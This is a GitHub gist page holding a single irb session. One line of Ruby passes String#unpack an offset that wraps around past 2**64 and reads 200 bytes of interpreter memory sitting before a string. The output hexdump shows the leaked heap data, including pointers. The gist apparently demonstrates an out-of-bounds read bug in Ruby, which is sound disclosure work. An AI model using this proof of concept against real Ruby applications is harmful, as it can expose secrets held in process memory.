Instantly share code, notes, and snippets.

Embed
What would you like to do?
$ irb
irb(main):145:0> leak = 200; size = 2**64-1 - leak + 1 ; puts size ; "BUFF".unpack("@#{size}C#{leak+4}").map { |i| i&.chr }.join.hexdump
18446744073709551416
Offset Hex dump ASCII dump
-------- ----------------------------------------------- ------------------
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 65 08 93 20 00 00 00 00 |........e.. ....|
00000020 c0 7d 8c 50 97 7f 00 00 53 41 56 45 5f 48 49 53 |.}.P....SAVE_HIS|
00000030 54 4f 52 59 00 00 00 00 00 00 00 00 00 00 00 00 |TORY............|
00000040 65 40 90 00 00 00 00 00 c0 7d 8c 50 97 7f 00 00 |e@.......}.P....|
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000060 00 00 00 00 00 00 00 00 65 40 90 00 00 00 00 00 |........e@......|
00000070 c0 7d 8c 50 97 7f 00 00 00 00 00 00 00 00 00 00 |.}.P............|
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000090 65 40 90 00 00 00 00 00 c0 7d 8c 50 97 7f 00 00 |e@.......}.P....|
000000a0 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000b0 00 00 00 00 00 00 00 00 65 08 51 20 00 00 00 00 |........e.Q ....|
000000c0 c0 7d 8c 50 97 7f 00 00 42 55 46 46 |.}.P....BUFF|
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment